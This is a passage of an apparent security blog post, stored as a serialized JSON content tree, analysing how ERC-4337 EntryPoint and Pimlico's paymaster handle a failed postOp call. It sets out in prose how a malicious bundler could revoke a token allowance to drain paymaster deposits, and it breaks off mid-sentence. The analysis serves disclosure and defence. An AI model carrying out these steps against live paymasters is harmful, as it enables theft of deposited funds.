",{"type":21,"tag":85,"props":107002,"children":107003},{"style":169},[107004],{"type":26,"value":16108},{"type":21,"tag":85,"props":107006,"children":107007},{"style":114},[107008],{"type":26,"value":107009}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":21,"tag":85,"props":107011,"children":107012},{"class":87,"line":3246},[107013,107018,107023],{"type":21,"tag":85,"props":107014,"children":107015},{"style":2885},[107016],{"type":26,"value":107017},"                        try",{"type":21,"tag":85,"props":107019,"children":107020},{"style":1021},[107021],{"type":26,"value":107022}," IPaymaster",{"type":21,"tag":85,"props":107024,"children":107025},{"style":114},[107026],{"type":26,"value":107027},"(paymaster).postOp{\n",{"type":21,"tag":85,"props":107029,"children":107030},{"class":87,"line":3255},[107031,107036,107040],{"type":21,"tag":85,"props":107032,"children":107033},{"style":114},[107034],{"type":26,"value":107035},"                                gas",{"type":21,"tag":85,"props":107037,"children":107038},{"style":169},[107039],{"type":26,"value":172},{"type":21,"tag":85,"props":107041,"children":107042},{"style":114},[107043],{"type":26,"value":107044}," mUserOp.paymasterPostOpGasLimit\n",{"type":21,"tag":85,"props":107046,"children":107047},{"class":87,"line":3286},[107048],{"type":21,"tag":85,"props":107049,"children":107050},{"style":114},[107051],{"type":26,"value":107052},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":21,"tag":85,"props":107054,"children":107055},{"class":87,"line":3295},[107056,107061,107066],{"type":21,"tag":85,"props":107057,"children":107058},{"style":92},[107059],{"type":26,"value":107060},"                        // ",{"type":21,"tag":85,"props":107062,"children":107063},{"style":102},[107064],{"type":26,"value":107065},"solhint-disable",{"type":21,"tag":85,"props":107067,"children":107068},{"style":92},[107069],{"type":26,"value":107070},"-next-line no-empty-blocks\n",{"type":21,"tag":85,"props":107072,"children":107073},{"class":87,"line":3308},[107074,107079,107083],{"type":21,"tag":85,"props":107075,"children":107076},{"style":114},[107077],{"type":26,"value":107078},"                        {} ",{"type":21,"tag":85,"props":107080,"children":107081},{"style":2885},[107082],{"type":26,"value":48866},{"type":21,"tag":85,"props":107084,"children":107085},{"style":114},[107086],{"type":26,"value":148},{"type":21,"tag":85,"props":107088,"children":107089},{"class":87,"line":3333},[107090,107095,107099,107104,107108,107112,107116],{"type":21,"tag":85,"props":107091,"children":107092},{"style":108},[107093],{"type":26,"value":107094},"                            bytes",{"type":21,"tag":85,"props":107096,"children":107097},{"style":102},[107098],{"type":26,"value":103542},{"type":21,"tag":85,"props":107100,"children":107101},{"style":114},[107102],{"type":26,"value":107103}," reason ",{"type":21,"tag":85,"props":107105,"children":107106},{"style":169},[107107],{"type":26,"value":741},{"type":21,"tag":85,"props":107109,"children":107110},{"style":114},[107111],{"type":26,"value":106313},{"type":21,"tag":85,"props":107113,"children":107114},{"style":1021},[107115],{"type":26,"value":106404},{"type":21,"tag":85,"props":107117,"children":107118},{"style":114},[107119],{"type":26,"value":106409},{"type":21,"tag":85,"props":107121,"children":107122},{"class":87,"line":3369},[107123,107128,107133],{"type":21,"tag":85,"props":107124,"children":107125},{"style":2885},[107126],{"type":26,"value":107127},"                            revert",{"type":21,"tag":85,"props":107129,"children":107130},{"style":1021},[107131],{"type":26,"value":107132}," PostOpReverted",{"type":21,"tag":85,"props":107134,"children":107135},{"style":114},[107136],{"type":26,"value":107137},"(reason);\n",{"type":21,"tag":85,"props":107139,"children":107140},{"class":87,"line":3377},[107141],{"type":21,"tag":85,"props":107142,"children":107143},{"style":114},[107144],{"type":26,"value":71438},{"type":21,"tag":85,"props":107146,"children":107147},{"class":87,"line":3386},[107148],{"type":21,"tag":85,"props":107149,"children":107150},{"style":114},[107151],{"type":26,"value":71523},{"type":21,"tag":85,"props":107153,"children":107154},{"class":87,"line":3394},[107155],{"type":21,"tag":85,"props":107156,"children":107157},{"style":92},[107158],{"type":26,"value":107159},"                    // Calculating a penalty for unused postOp gas\n",{"type":21,"tag":85,"props":107161,"children":107162},{"class":87,"line":3410},[107163,107167,107171],{"type":21,"tag":85,"props":107164,"children":107165},{"style":92},[107166],{"type":26,"value":104004},{"type":21,"tag":85,"props":107168,"children":107169},{"style":102},[107170],{"type":26,"value":67218},{"type":21,"tag":85,"props":107172,"children":107173},{"style":92},[107174],{"type":26,"value":107175}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":21,"tag":85,"props":107177,"children":107178},{"class":87,"line":3427},[107179,107183,107188,107192,107196,107200,107204],{"type":21,"tag":85,"props":107180,"children":107181},{"style":108},[107182],{"type":26,"value":103939},{"type":21,"tag":85,"props":107184,"children":107185},{"style":114},[107186],{"type":26,"value":107187}," postOpGasUsed ",{"type":21,"tag":85,"props":107189,"children":107190},{"style":169},[107191],{"type":26,"value":741},{"type":21,"tag":85,"props":107193,"children":107194},{"style":114},[107195],{"type":26,"value":106975},{"type":21,"tag":85,"props":107197,"children":107198},{"style":169},[107199],{"type":26,"value":5097},{"type":21,"tag":85,"props":107201,"children":107202},{"style":102},[107203],{"type":26,"value":105772},{"type":21,"tag":85,"props":107205,"children":107206},{"style":114},[107207],{"type":26,"value":4437},{"type":21,"tag":85,"props":107209,"children":107210},{"class":87,"line":3445},[107211,107216,107220,107225],{"type":21,"tag":85,"props":107212,"children":107213},{"style":114},[107214],{"type":26,"value":107215},"                    postOpUnusedGasPenalty ",{"type":21,"tag":85,"props":107217,"children":107218},{"style":169},[107219],{"type":26,"value":741},{"type":21,"tag":85,"props":107221,"children":107222},{"style":1021},[107223],{"type":26,"value":107224}," _getUnusedGasPenalty",{"type":21,"tag":85,"props":107226,"children":107227},{"style":114},[107228],{"type":26,"value":107229},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":21,"tag":85,"props":107231,"children":107232},{"class":87,"line":3490},[107233],{"type":21,"tag":85,"props":107234,"children":107235},{"style":114},[107236],{"type":26,"value":71531},{"type":21,"tag":85,"props":107238,"children":107239},{"class":87,"line":3596},[107240],{"type":21,"tag":85,"props":107241,"children":107242},{"style":114},[107243],{"type":26,"value":59342},{"type":21,"tag":85,"props":107245,"children":107246},{"class":87,"line":23938},[107247],{"type":21,"tag":85,"props":107248,"children":107249},{"style":114},[107250],{"type":26,"value":105263},{"type":21,"tag":85,"props":107252,"children":107253},{"class":87,"line":23973},[107254],{"type":21,"tag":85,"props":107255,"children":107256},{"style":114},[107257],{"type":26,"value":507},{"type":21,"tag":22,"props":107259,"children":107260},{},[107261,107263,107268,107270,107276,107278,107284,107286,107291,107293,107298,107300,107305,107307,107312,107314,107319,107321,107326],{"type":26,"value":107262},"It turns out that if the ",{"type":21,"tag":66,"props":107264,"children":107266},{"className":107265},[],[107267],{"type":26,"value":102843},{"type":26,"value":107269}," call fails, it will revert with ",{"type":21,"tag":66,"props":107271,"children":107273},{"className":107272},[],[107274],{"type":26,"value":107275},"PostOpReverted",{"type":26,"value":107277},". However, as we can see in the previous code of ",{"type":21,"tag":66,"props":107279,"children":107281},{"className":107280},[],[107282],{"type":26,"value":107283},"_executeUserOp",{"type":26,"value":107285},", even though ",{"type":21,"tag":66,"props":107287,"children":107289},{"className":107288},[],[107290],{"type":26,"value":105985},{"type":26,"value":107292}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":21,"tag":66,"props":107294,"children":107296},{"className":107295},[],[107297],{"type":26,"value":106653},{"type":26,"value":107299}," call with ",{"type":21,"tag":66,"props":107301,"children":107303},{"className":107302},[],[107304],{"type":26,"value":106661},{"type":26,"value":107306}," mode, and it won't try to call ",{"type":21,"tag":66,"props":107308,"children":107310},{"className":107309},[],[107311],{"type":26,"value":102843},{"type":26,"value":107313}," again. This means the ",{"type":21,"tag":66,"props":107315,"children":107317},{"className":107316},[],[107318],{"type":26,"value":102704},{"type":26,"value":107320}," still gets paid for submitting the failed ",{"type":21,"tag":66,"props":107322,"children":107324},{"className":107323},[],[107325],{"type":26,"value":102644},{"type":26,"value":73},{"type":21,"tag":22,"props":107328,"children":107329},{},[107330,107332,107337,107339,107344,107346,107353],{"type":26,"value":107331},"Now that we understand this behavior where ",{"type":21,"tag":66,"props":107333,"children":107335},{"className":107334},[],[107336],{"type":26,"value":102843},{"type":26,"value":107338}," is allowed to fail while the ",{"type":21,"tag":66,"props":107340,"children":107342},{"className":107341},[],[107343],{"type":26,"value":102704},{"type":26,"value":107345}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":21,"tag":335,"props":107347,"children":107350},{"href":107348,"rel":107349},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[339],[107351],{"type":26,"value":107352},"Pimlico",{"type":26,"value":73},{"type":21,"tag":75,"props":107355,"children":107357},{"className":5245,"code":107356,"language":5244,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[107358],{"type":21,"tag":66,"props":107359,"children":107360},{"__ignoreMap":7},[107361,107376,107393,107413,107429,107441,107448,107455,107462,107493,107500,107525,107533,107540,107547,107576,107583,107599,107621,107628,107644,107694,107701,107717,107725,107758,107791,107799,107806,107813,107856,107863,107912,107938,107945,107952,107969],{"type":21,"tag":85,"props":107362,"children":107363},{"class":87,"line":88},[107364,107368,107372],{"type":21,"tag":85,"props":107365,"children":107366},{"style":102},[107367],{"type":26,"value":90293},{"type":21,"tag":85,"props":107369,"children":107370},{"style":1021},[107371],{"type":26,"value":104245},{"type":21,"tag":85,"props":107373,"children":107374},{"style":114},[107375],{"type":26,"value":1029},{"type":21,"tag":85,"props":107377,"children":107378},{"class":87,"line":98},[107379,107384,107388],{"type":21,"tag":85,"props":107380,"children":107381},{"style":102},[107382],{"type":26,"value":107383},"        PostOpMode",{"type":21,"tag":85,"props":107385,"children":107386},{"style":114},[107387],{"type":26,"value":256},{"type":21,"tag":85,"props":107389,"children":107390},{"style":92},[107391],{"type":26,"value":107392},"/* mode */\n",{"type":21,"tag":85,"props":107394,"children":107395},{"class":87,"line":151},[107396,107400,107404,107409],{"type":21,"tag":85,"props":107397,"children":107398},{"style":108},[107399],{"type":26,"value":106161},{"type":21,"tag":85,"props":107401,"children":107402},{"style":102},[107403],{"type":26,"value":103474},{"type":21,"tag":85,"props":107405,"children":107406},{"style":120},[107407],{"type":26,"value":107408}," _context",{"type":21,"tag":85,"props":107410,"children":107411},{"style":114},[107412],{"type":26,"value":182},{"type":21,"tag":85,"props":107414,"children":107415},{"class":87,"line":160},[107416,107420,107425],{"type":21,"tag":85,"props":107417,"children":107418},{"style":108},[107419],{"type":26,"value":90471},{"type":21,"tag":85,"props":107421,"children":107422},{"style":120},[107423],{"type":26,"value":107424}," _actualGasCost",{"type":21,"tag":85,"props":107426,"children":107427},{"style":114},[107428],{"type":26,"value":182},{"type":21,"tag":85,"props":107430,"children":107431},{"class":87,"line":185},[107432,107436],{"type":21,"tag":85,"props":107433,"children":107434},{"style":108},[107435],{"type":26,"value":90471},{"type":21,"tag":85,"props":107437,"children":107438},{"style":120},[107439],{"type":26,"value":107440}," _actualUserOpFeePerGas\n",{"type":21,"tag":85,"props":107442,"children":107443},{"class":87,"line":501},[107444],{"type":21,"tag":85,"props":107445,"children":107446},{"style":114},[107447],{"type":26,"value":24359},{"type":21,"tag":85,"props":107449,"children":107450},{"class":87,"line":697},[107451],{"type":21,"tag":85,"props":107452,"children":107453},{"style":102},[107454],{"type":26,"value":103513},{"type":21,"tag":85,"props":107456,"children":107457},{"class":87,"line":706},[107458],{"type":21,"tag":85,"props":107459,"children":107460},{"style":114},[107461],{"type":26,"value":29630},{"type":21,"tag":85,"props":107463,"children":107464},{"class":87,"line":1100},[107465,107470,107474,107479,107483,107488],{"type":21,"tag":85,"props":107466,"children":107467},{"style":114},[107468],{"type":26,"value":107469},"        ERC20PostOpContext ",{"type":21,"tag":85,"props":107471,"children":107472},{"style":102},[107473],{"type":26,"value":76434},{"type":21,"tag":85,"props":107475,"children":107476},{"style":114},[107477],{"type":26,"value":107478}," ctx ",{"type":21,"tag":85,"props":107480,"children":107481},{"style":169},[107482],{"type":26,"value":741},{"type":21,"tag":85,"props":107484,"children":107485},{"style":1021},[107486],{"type":26,"value":107487}," _parsePostOpContext",{"type":21,"tag":85,"props":107489,"children":107490},{"style":114},[107491],{"type":26,"value":107492},"(_context);\n",{"type":21,"tag":85,"props":107494,"children":107495},{"class":87,"line":1339},[107496],{"type":21,"tag":85,"props":107497,"children":107498},{"emptyLinePlaceholder":16},[107499],{"type":26,"value":703},{"type":21,"tag":85,"props":107501,"children":107502},{"class":87,"line":1348},[107503,107507,107512,107516,107521],{"type":21,"tag":85,"props":107504,"children":107505},{"style":108},[107506],{"type":26,"value":90471},{"type":21,"tag":85,"props":107508,"children":107509},{"style":114},[107510],{"type":26,"value":107511}," expectedPenaltyGasCost ",{"type":21,"tag":85,"props":107513,"children":107514},{"style":169},[107515],{"type":26,"value":741},{"type":21,"tag":85,"props":107517,"children":107518},{"style":1021},[107519],{"type":26,"value":107520}," _expectedPenaltyGasCost",{"type":21,"tag":85,"props":107522,"children":107523},{"style":114},[107524],{"type":26,"value":1029},{"type":21,"tag":85,"props":107526,"children":107527},{"class":87,"line":1386},[107528],{"type":21,"tag":85,"props":107529,"children":107530},{"style":114},[107531],{"type":26,"value":107532},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":21,"tag":85,"props":107534,"children":107535},{"class":87,"line":1394},[107536],{"type":21,"tag":85,"props":107537,"children":107538},{"style":114},[107539],{"type":26,"value":2094},{"type":21,"tag":85,"props":107541,"children":107542},{"class":87,"line":1402},[107543],{"type":21,"tag":85,"props":107544,"children":107545},{"emptyLinePlaceholder":16},[107546],{"type":26,"value":703},{"type":21,"tag":85,"props":107548,"children":107549},{"class":87,"line":3145},[107550,107554,107558,107562,107567,107571],{"type":21,"tag":85,"props":107551,"children":107552},{"style":108},[107553],{"type":26,"value":90471},{"type":21,"tag":85,"props":107555,"children":107556},{"style":114},[107557],{"type":26,"value":104569},{"type":21,"tag":85,"props":107559,"children":107560},{"style":169},[107561],{"type":26,"value":741},{"type":21,"tag":85,"props":107563,"children":107564},{"style":114},[107565],{"type":26,"value":107566}," _actualGasCost ",{"type":21,"tag":85,"props":107568,"children":107569},{"style":169},[107570],{"type":26,"value":5151},{"type":21,"tag":85,"props":107572,"children":107573},{"style":114},[107574],{"type":26,"value":107575}," expectedPenaltyGasCost;\n",{"type":21,"tag":85,"props":107577,"children":107578},{"class":87,"line":3246},[107579],{"type":21,"tag":85,"props":107580,"children":107581},{"emptyLinePlaceholder":16},[107582],{"type":26,"value":703},{"type":21,"tag":85,"props":107584,"children":107585},{"class":87,"line":3255},[107586,107590,107595],{"type":21,"tag":85,"props":107587,"children":107588},{"style":108},[107589],{"type":26,"value":90471},{"type":21,"tag":85,"props":107591,"children":107592},{"style":114},[107593],{"type":26,"value":107594}," costInToken ",{"type":21,"tag":85,"props":107596,"children":107597},{"style":169},[107598],{"type":26,"value":15111},{"type":21,"tag":85,"props":107600,"children":107601},{"class":87,"line":3286},[107602,107607,107612,107616],{"type":21,"tag":85,"props":107603,"children":107604},{"style":1021},[107605],{"type":26,"value":107606},"            getCostInToken",{"type":21,"tag":85,"props":107608,"children":107609},{"style":114},[107610],{"type":26,"value":107611},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":21,"tag":85,"props":107613,"children":107614},{"style":169},[107615],{"type":26,"value":5151},{"type":21,"tag":85,"props":107617,"children":107618},{"style":114},[107619],{"type":26,"value":107620}," ctx.constantFee;\n",{"type":21,"tag":85,"props":107622,"children":107623},{"class":87,"line":3295},[107624],{"type":21,"tag":85,"props":107625,"children":107626},{"emptyLinePlaceholder":16},[107627],{"type":26,"value":703},{"type":21,"tag":85,"props":107629,"children":107630},{"class":87,"line":3308},[107631,107635,107640],{"type":21,"tag":85,"props":107632,"children":107633},{"style":108},[107634],{"type":26,"value":90471},{"type":21,"tag":85,"props":107636,"children":107637},{"style":114},[107638],{"type":26,"value":107639}," absoluteCostInToken ",{"type":21,"tag":85,"props":107641,"children":107642},{"style":169},[107643],{"type":26,"value":15111},{"type":21,"tag":85,"props":107645,"children":107646},{"class":87,"line":3333},[107647,107652,107656,107661,107665,107669,107673,107677,107681,107685,107689],{"type":21,"tag":85,"props":107648,"children":107649},{"style":114},[107650],{"type":26,"value":107651},"            costInToken ",{"type":21,"tag":85,"props":107653,"children":107654},{"style":169},[107655],{"type":26,"value":10877},{"type":21,"tag":85,"props":107657,"children":107658},{"style":114},[107659],{"type":26,"value":107660}," ctx.preFundCharged ",{"type":21,"tag":85,"props":107662,"children":107663},{"style":169},[107664],{"type":26,"value":3927},{"type":21,"tag":85,"props":107666,"children":107667},{"style":114},[107668],{"type":26,"value":107594},{"type":21,"tag":85,"props":107670,"children":107671},{"style":169},[107672],{"type":26,"value":5097},{"type":21,"tag":85,"props":107674,"children":107675},{"style":114},[107676],{"type":26,"value":107660},{"type":21,"tag":85,"props":107678,"children":107679},{"style":169},[107680],{"type":26,"value":172},{"type":21,"tag":85,"props":107682,"children":107683},{"style":114},[107684],{"type":26,"value":107660},{"type":21,"tag":85,"props":107686,"children":107687},{"style":169},[107688],{"type":26,"value":5097},{"type":21,"tag":85,"props":107690,"children":107691},{"style":114},[107692],{"type":26,"value":107693}," costInToken;\n",{"type":21,"tag":85,"props":107695,"children":107696},{"class":87,"line":3369},[107697],{"type":21,"tag":85,"props":107698,"children":107699},{"emptyLinePlaceholder":16},[107700],{"type":26,"value":703},{"type":21,"tag":85,"props":107702,"children":107703},{"class":87,"line":3377},[107704,107709,107713],{"type":21,"tag":85,"props":107705,"children":107706},{"style":114},[107707],{"type":26,"value":107708},"        SafeTransferLib.",{"type":21,"tag":85,"props":107710,"children":107711},{"style":1021},[107712],{"type":26,"value":104100},{"type":21,"tag":85,"props":107714,"children":107715},{"style":114},[107716],{"type":26,"value":1029},{"type":21,"tag":85,"props":107718,"children":107719},{"class":87,"line":3386},[107720],{"type":21,"tag":85,"props":107721,"children":107722},{"style":114},[107723],{"type":26,"value":107724},"            ctx.token,\n",{"type":21,"tag":85,"props":107726,"children":107727},{"class":87,"line":3394},[107728,107732,107736,107740,107744,107749,107753],{"type":21,"tag":85,"props":107729,"children":107730},{"style":114},[107731],{"type":26,"value":107651},{"type":21,"tag":85,"props":107733,"children":107734},{"style":169},[107735],{"type":26,"value":10877},{"type":21,"tag":85,"props":107737,"children":107738},{"style":114},[107739],{"type":26,"value":107660},{"type":21,"tag":85,"props":107741,"children":107742},{"style":169},[107743],{"type":26,"value":3927},{"type":21,"tag":85,"props":107745,"children":107746},{"style":114},[107747],{"type":26,"value":107748}," ctx.sender ",{"type":21,"tag":85,"props":107750,"children":107751},{"style":169},[107752],{"type":26,"value":172},{"type":21,"tag":85,"props":107754,"children":107755},{"style":114},[107756],{"type":26,"value":107757}," ctx.treasury,\n",{"type":21,"tag":85,"props":107759,"children":107760},{"class":87,"line":3410},[107761,107765,107769,107773,107777,107782,107786],{"type":21,"tag":85,"props":107762,"children":107763},{"style":114},[107764],{"type":26,"value":107651},{"type":21,"tag":85,"props":107766,"children":107767},{"style":169},[107768],{"type":26,"value":10877},{"type":21,"tag":85,"props":107770,"children":107771},{"style":114},[107772],{"type":26,"value":107660},{"type":21,"tag":85,"props":107774,"children":107775},{"style":169},[107776],{"type":26,"value":3927},{"type":21,"tag":85,"props":107778,"children":107779},{"style":114},[107780],{"type":26,"value":107781}," ctx.treasury ",{"type":21,"tag":85,"props":107783,"children":107784},{"style":169},[107785],{"type":26,"value":172},{"type":21,"tag":85,"props":107787,"children":107788},{"style":114},[107789],{"type":26,"value":107790}," ctx.sender,\n",{"type":21,"tag":85,"props":107792,"children":107793},{"class":87,"line":3427},[107794],{"type":21,"tag":85,"props":107795,"children":107796},{"style":114},[107797],{"type":26,"value":107798},"            absoluteCostInToken\n",{"type":21,"tag":85,"props":107800,"children":107801},{"class":87,"line":3445},[107802],{"type":21,"tag":85,"props":107803,"children":107804},{"style":114},[107805],{"type":26,"value":2094},{"type":21,"tag":85,"props":107807,"children":107808},{"class":87,"line":3490},[107809],{"type":21,"tag":85,"props":107810,"children":107811},{"emptyLinePlaceholder":16},[107812],{"type":26,"value":703},{"type":21,"tag":85,"props":107814,"children":107815},{"class":87,"line":3596},[107816,107820,107825,107829,107834,107838,107843,107847,107852],{"type":21,"tag":85,"props":107817,"children":107818},{"style":108},[107819],{"type":26,"value":90471},{"type":21,"tag":85,"props":107821,"children":107822},{"style":114},[107823],{"type":26,"value":107824}," preFundInToken ",{"type":21,"tag":85,"props":107826,"children":107827},{"style":169},[107828],{"type":26,"value":741},{"type":21,"tag":85,"props":107830,"children":107831},{"style":114},[107832],{"type":26,"value":107833}," (ctx.preFund ",{"type":21,"tag":85,"props":107835,"children":107836},{"style":169},[107837],{"type":26,"value":3052},{"type":21,"tag":85,"props":107839,"children":107840},{"style":114},[107841],{"type":26,"value":107842}," ctx.exchangeRate) ",{"type":21,"tag":85,"props":107844,"children":107845},{"style":169},[107846],{"type":26,"value":5349},{"type":21,"tag":85,"props":107848,"children":107849},{"style":2285},[107850],{"type":26,"value":107851}," 1e18",{"type":21,"tag":85,"props":107853,"children":107854},{"style":114},[107855],{"type":26,"value":2535},{"type":21,"tag":85,"props":107857,"children":107858},{"class":87,"line":23938},[107859],{"type":21,"tag":85,"props":107860,"children":107861},{"emptyLinePlaceholder":16},[107862],{"type":26,"value":703},{"type":21,"tag":85,"props":107864,"children":107865},{"class":87,"line":23973},[107866,107870,107875,107879,107883,107887,107891,107895,107899,107903,107907],{"type":21,"tag":85,"props":107867,"children":107868},{"style":2885},[107869],{"type":26,"value":4044},{"type":21,"tag":85,"props":107871,"children":107872},{"style":114},[107873],{"type":26,"value":107874}," (ctx.recipient ",{"type":21,"tag":85,"props":107876,"children":107877},{"style":169},[107878],{"type":26,"value":16108},{"type":21,"tag":85,"props":107880,"children":107881},{"style":108},[107882],{"type":26,"value":575},{"type":21,"tag":85,"props":107884,"children":107885},{"style":114},[107886],{"type":26,"value":1439},{"type":21,"tag":85,"props":107888,"children":107889},{"style":2285},[107890],{"type":26,"value":4789},{"type":21,"tag":85,"props":107892,"children":107893},{"style":114},[107894],{"type":26,"value":736},{"type":21,"tag":85,"props":107896,"children":107897},{"style":169},[107898],{"type":26,"value":73657},{"type":21,"tag":85,"props":107900,"children":107901},{"style":114},[107902],{"type":26,"value":107824},{"type":21,"tag":85,"props":107904,"children":107905},{"style":169},[107906],{"type":26,"value":10877},{"type":21,"tag":85,"props":107908,"children":107909},{"style":114},[107910],{"type":26,"value":107911}," costInToken) {\n",{"type":21,"tag":85,"props":107913,"children":107914},{"class":87,"line":23981},[107915,107920,107924,107929,107933],{"type":21,"tag":85,"props":107916,"children":107917},{"style":114},[107918],{"type":26,"value":107919},"            SafeTransferLib.",{"type":21,"tag":85,"props":107921,"children":107922},{"style":1021},[107923],{"type":26,"value":104100},{"type":21,"tag":85,"props":107925,"children":107926},{"style":114},[107927],{"type":26,"value":107928},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":21,"tag":85,"props":107930,"children":107931},{"style":169},[107932],{"type":26,"value":5097},{"type":21,"tag":85,"props":107934,"children":107935},{"style":114},[107936],{"type":26,"value":107937}," costInToken);\n",{"type":21,"tag":85,"props":107939,"children":107940},{"class":87,"line":23989},[107941],{"type":21,"tag":85,"props":107942,"children":107943},{"style":114},[107944],{"type":26,"value":4118},{"type":21,"tag":85,"props":107946,"children":107947},{"class":87,"line":23998},[107948],{"type":21,"tag":85,"props":107949,"children":107950},{"emptyLinePlaceholder":16},[107951],{"type":26,"value":703},{"type":21,"tag":85,"props":107953,"children":107954},{"class":87,"line":24040},[107955,107960,107964],{"type":21,"tag":85,"props":107956,"children":107957},{"style":2885},[107958],{"type":26,"value":107959},"        emit",{"type":21,"tag":85,"props":107961,"children":107962},{"style":1021},[107963],{"type":26,"value":104834},{"type":21,"tag":85,"props":107965,"children":107966},{"style":114},[107967],{"type":26,"value":107968},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":21,"tag":85,"props":107970,"children":107971},{"class":87,"line":24073},[107972],{"type":21,"tag":85,"props":107973,"children":107974},{"style":114},[107975],{"type":26,"value":507},{"type":21,"tag":22,"props":107977,"children":107978},{},[107979,107981,107986,107988,107994,107996,108002,108004,108009,108011,108016],{"type":26,"value":107980},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":21,"tag":66,"props":107982,"children":107984},{"className":107983},[],[107985],{"type":26,"value":104100},{"type":26,"value":107987},". Note that ",{"type":21,"tag":66,"props":107989,"children":107991},{"className":107990},[],[107992],{"type":26,"value":107993},"preFundCharged",{"type":26,"value":107995}," can be zero, as users can opt out of any ",{"type":21,"tag":66,"props":107997,"children":107999},{"className":107998},[],[108000],{"type":26,"value":108001},"preFund",{"type":26,"value":108003}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":21,"tag":66,"props":108005,"children":108007},{"className":108006},[],[108008],{"type":26,"value":104901},{"type":26,"value":108010}," call inside ",{"type":21,"tag":66,"props":108012,"children":108014},{"className":108013},[],[108015],{"type":26,"value":105985},{"type":26,"value":108017}," will revert and the paymaster won't be able to collect payment from the user.",{"type":21,"tag":22,"props":108019,"children":108020},{},[108021,108023,108028,108030,108036,108038,108044],{"type":26,"value":108022},"However, even when ",{"type":21,"tag":66,"props":108024,"children":108026},{"className":108025},[],[108027],{"type":26,"value":104901},{"type":26,"value":108029}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":21,"tag":66,"props":108031,"children":108033},{"className":108032},[],[108034],{"type":26,"value":108035},"requiredPrefund",{"type":26,"value":108037}," was taken from the paymaster's ",{"type":21,"tag":335,"props":108039,"children":108042},{"href":108040,"rel":108041},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[339],[108043],{"type":26,"value":62421},{"type":26,"value":73},{"type":21,"tag":22,"props":108046,"children":108047},{},[108048,108050,108055],{"type":26,"value":108049},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":21,"tag":66,"props":108051,"children":108053},{"className":108052},[],[108054],{"type":26,"value":104901},{"type":26,"value":108056}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":21,"tag":841,"props":108058,"children":108059},{},[108060,108078,108097,108108,108113],{"type":21,"tag":845,"props":108061,"children":108062},{},[108063,108065,108070,108072],{"type":26,"value":108064},"The bundler creates a ",{"type":21,"tag":66,"props":108066,"children":108068},{"className":108067},[],[108069],{"type":26,"value":102644},{"type":26,"value":108071}," with an intentionally high ",{"type":21,"tag":66,"props":108073,"children":108075},{"className":108074},[],[108076],{"type":26,"value":108077},"gasPrice",{"type":21,"tag":845,"props":108079,"children":108080},{},[108081,108083,108088,108090,108095],{"type":26,"value":108082},"The bundler ensures the ",{"type":21,"tag":66,"props":108084,"children":108086},{"className":108085},[],[108087],{"type":26,"value":104901},{"type":26,"value":108089}," call will fail by revoking the paymaster's token allowance before ",{"type":21,"tag":66,"props":108091,"children":108093},{"className":108092},[],[108094],{"type":26,"value":104901},{"type":26,"value":108096}," executes",{"type":21,"tag":845,"props":108098,"children":108099},{},[108100,108101,108106],{"type":26,"value":63813},{"type":21,"tag":66,"props":108102,"children":108104},{"className":108103},[],[108105],{"type":26,"value":104901},{"type":26,"value":108107}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":21,"tag":845,"props":108109,"children":108110},{},[108111],{"type":26,"value":108112},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":21,"tag":845,"props":108114,"children":108115},{},[108116],{"type":26,"value":108117},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":21,"tag":22,"props":108119,"children":108120},{},[108121,108123,108128,108130,108135],{"type":26,"value":108122},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":21,"tag":66,"props":108124,"children":108126},{"className":108125},[],[108127],{"type":26,"value":102673},{"type":26,"value":108129}," designed to fail during 